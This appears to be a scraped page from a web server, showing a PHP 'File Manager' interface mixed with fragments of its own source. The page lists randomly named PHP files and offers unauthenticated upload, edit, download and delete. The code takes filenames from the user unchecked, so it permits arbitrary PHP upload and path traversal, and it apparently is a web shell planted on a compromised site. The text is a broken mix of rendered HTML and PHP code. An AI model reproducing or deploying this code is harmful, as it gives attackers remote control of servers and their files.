File Manager
Files in the directory:
3zft6n.php
jt2g0h.php
test
utchiha505.php
Upload a File
Upload
Edit File: utchiha505.php
File '$filename' has been updated.
"; } break; case 'delete': if (file_exists($path)) { unlink($path); echo "
File '$filename' has been deleted.
"; } break; case 'download': if (file_exists($path)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . $filename . '"'); readfile($path); exit; } break; case 'upload': if (isset($_FILES['file']) && $_FILES['file']['error'] == UPLOAD_ERR_OK) { $uploadedFile = $_FILES['file']; $uploadedFilename = $uploadedFile['name']; $uploadedFilePath = $directory . $uploadedFilename; if (move_uploaded_file($uploadedFile['tmp_name'], $uploadedFilePath)) { echo "
File '$uploadedFilename' has been uploaded.
"; } else { echo "
Error uploading file '$uploadedFilename'.
"; } } break; } } } // Get the list of files in the directory $files = scandir($directory); ?>
File Manager
File Manager
Files in the directory:
" . $file . ""; } } ?>
Upload a File
Upload
Edit File:
Save
Download
Delete
Save
Download
Delete